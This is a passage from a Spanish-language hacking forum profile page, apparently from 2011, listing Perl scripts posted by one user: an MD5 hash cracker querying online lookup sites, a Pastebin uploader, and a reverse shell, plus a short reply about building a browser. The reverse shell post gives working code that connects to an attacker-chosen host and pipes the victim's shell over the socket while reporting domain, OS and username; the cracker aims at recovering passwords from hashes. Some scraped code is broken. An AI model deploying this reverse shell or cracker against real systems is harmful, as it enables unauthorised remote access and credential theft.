|
491
|
Programación / Scripting / [Perl] Pass Cracker By Doddy H
|
en: 8 Octubre 2011, 16:56 pm
|
Hola , aca les dejo un simple programa para buscar la decodificacion de un hash md5 #!usr/bin/perl #Pass Cracker 1.0 #(C) Doddy Hackman 2011 use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); head(); unless($ARGV[0]) { print "\n\n[+] sintax : $0 <hash>\n\n"; } else { crackit($ARGV[0]); } copyright(); sub crackit { print "\n[+] Cracking $_[0]\n\n"; my %hash = ( 'http://passcracking.com/' => { 'tipo' => 'post', 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}', 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>', }, 'http://md5.hashcracking.com/search.php?md5=' => { 'tipo' => 'get', 'regex' => 'Cleartext of $_[0] is (.*)', }, 'http://www.bigtrapeze.com/md5/' => { 'tipo' => 'post', 'variables'=>'{"query" => $_[0], "submit" => " Crack "}', 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>', }, 'http://opencrack.hashkiller.com/' => { 'tipo' => 'post', 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}', 'regex' => qq(<\ /div ><div class ="result">$_[0]:(.+)<br\ />), }, 'http://www.hashchecker.com/index.php?_sls=search_hash' => { 'tipo' => 'post', 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}', 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl', }, 'http://victorov.su/md5/?md5e=&md5d=' => { 'tipo' => 'get', 'regex' => qq(MD5 ðàñøèôðîâàí : <b>(.*)<\ /b ><br><form action =\ "\">), } ); for my $data(keys %hash) { if ($hash{$data}{tipo} eq "get") { $code = toma($data.$_[0]); if ($code=~/$hash{$data}{regex}/ig) { print "\n[+] Decoded : ".$1."\n\n"; } } else { $code = tomar($data,$hash{$data}{variables}); if ($code=~/$hash{$data}{regex}/ig) { print "\n[+] Decoded : ".$1."\n\n"; } } } print "\n[+] Finish\n"; } sub head { print "\n\n-- == Pass Cracker == --\n\n"; } sub copyright { print "\n\n(C) Doddy Hackman 2011\n\n"; exit(1); } sub toma { return $nave->get($_[0])->content; } sub tomar { my ($web,$var) = @_; return $nave->post($web,[%{$var}])->content; } #Thanks to explorer (PerlEnEspañol) # ¿ The End ?
Ejemplo de uso
|
|
|
492
|
Programación / Scripting / [Perl] PasteBin Uploader
|
en: 8 Octubre 2011, 16:55 pm
|
Bueno aca eh terminado un programa que los ayudara a publicar sus programas en pastebin de una forma rapida y sin ganas xDDD Entonces , este programa tiene dos opciones : - Publica solo un archivo
- Publica todos los archivos en un directorio
Tambien detecta el tipo de extension para poder publicar el codigo en su respectivo tipo de codigo #!usr/bin/perl #Paste Bin Uploader (C) Doddy Hackman 2011 use LWP::UserAgent; use HTTP::Request::Common; my $nave = LWP::UserAgent->new(); $nave->timeout(10); $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); menu(); sub menu { clean(); header(); print "\n\n[Options]\n\n"; print "[1] : Upload a file\n"; print "[2] : Upload a directory\n"; if ($op eq 1) { chomp(my $file = <stdin>); if (-f $file) { ($name,$exta) =verfile($file); my $ext = extensiones($exta); if ($ext ne "Yet") { $code = openfile($file); $re = lleva($name,$code,$ext); print "\n\n[+] File : $file\n"; print "[+] Link : ".$re."\n"; savefile("uploads_paste.txt","\n[+] File : $file"); savefile("uploads_paste.txt","[+] Link : ".$re); } } else { print "\n\n[-] Error\n\n"; } reload(); } elsif ($op eq 2) { print "\n\n[Directory] : "; chomp(my $dir = <stdin>); if (-d $dir) { my @files = verdir($dir); print "\n\n[+] Loading directory\n"; for my $file(@files) { my ($name,$exta) =verfile($file); my $ext = extensiones($exta); if ($ext ne "Yet") { my $code = openfile($dir."/".$file); $re = lleva($name,$code,$ext); print "\n\n[+] File : $file\n"; print "[+] Link : ".$re."\n"; savefile("uploads_paste.txt","\n[+] File : $file"); savefile("uploads_paste.txt","[+] Link : ".$re); } } } else { print "\n\n[-] Error\n\n"; } reload(); } elsif ($op eq 3) { copyright(); <stdin>; } else { menu(); } } sub copyright { print "\n\n(C) Doddy Hackman 2011\n\n"; } sub header { PPPP AA SSSSTTTTTTEEEE BBBB II NN NN UU UU PPPP PP PP AA SS S TT EE BB BB II NNN NN UU UU PP PP PP PP AAAA SS TT EE BB BB II NNNN NN UU UU PP PP PPPP A A SSS TT EEEE BBBB II NN N NN UU UU PPPP PP AAAAAA SS TT EE BB BB II NN NNNN UU UU PP PP AA AA S SS TT EE BB BB II NN NNN UUUUUU PP PP AA AA SSSS TT EEEE BBBB II NN NN UUUU PP ); } sub clean { } sub verdir{ my @archivos; for (@archivos) { if (-f $_[0]."/".$_) { } } } sub verfile { if ($_[0]=~/(.*)\.(.*)/ig) { } } sub extensiones { if ($_[0] =~/py/ig) { $code = "python"; } elsif ($_[0] =~/pl/ig) { $code = "perl"; } elsif ($_[0] =~/rb/ig) { $code = "ruby"; } elsif ($_[0] =~/php/ig) { $code = "php"; } elsif ($_[0] =~/txt/ig) { $code = ""; } else { $code = "Yet"; } } sub reload { print "\n\n[?] Enter for continue\n\n"; <stdin>; menu(); } sub savefile { open (SAVE ,">>logs/".$_[0]); } sub openfile { my $r; @wor = <FILE>; for(@wor) { $r.= $_; } } sub lleva { return $nave->post('http://pastebin.com/api_public.php',{ paste_code => $_[1],paste_name => $_[0],paste_format =>$_[2],paste_expire_date =>'N',paste_private =>"public",submit =>'submit'})->content; } # ¿ The End ?
|
|
|
493
|
Programación / Scripting / [Perl] Reverse Shell By Doddy
|
en: 8 Octubre 2011, 16:55 pm
|
Hola a todos. Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script. En la version 0.2 le agregare deteccion de kernel y su posible exploit. #!usr/bin/perl #Reverse Shell 0.1 #By Doddy H use IO::Socket; print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n"; unless (@ARGV == 2) { print "[Sintax] : $0 <host> <port>\n\n"; } else { print "[+] Starting the connection\n"; print "[+] Enter in the system\n"; print "[+] Enjoy !!!\n\n"; conectar($ARGV[0],$ARGV[1]); tipo(); } sub conectar { connect(REVERSE , sockaddr_in ($_[1],inet_aton ($_[0]))); open (STDIN,">&REVERSE"); open (STDOUT,">&REVERSE"); open (STDERR,">&REVERSE"); } sub tipo { print "\n[*] Reverse Shell Starting...\n\n"; if ($^O =~/Win32/ig) { infowin(); } else { infolinux(); #root(); } } sub infowin { print "[+] Domain Name : ".Win32 ::DomainName()."\n"; print "[+] OS Version : ".Win32 ::GetOSName()."\n"; print "[+] Username : ".Win32 ::LoginName()."\n\n\n"; } sub infolinux { print "[+] System information\n\n"; } #The End
|
|
|
498
|
Programación / Programación Visual Basic / Re: crear un browser
|
en: 7 Octubre 2011, 18:30 pm
|
por lo que eh leido , hacer un browser en delphi es mas facil que en VB, lo digo porque hay muchas referencias sobre como haberlo. Edito:busque en google con "navegador VB" y me salen varios manuales para que puedas hacerlo
|
|
|
|
|
|
|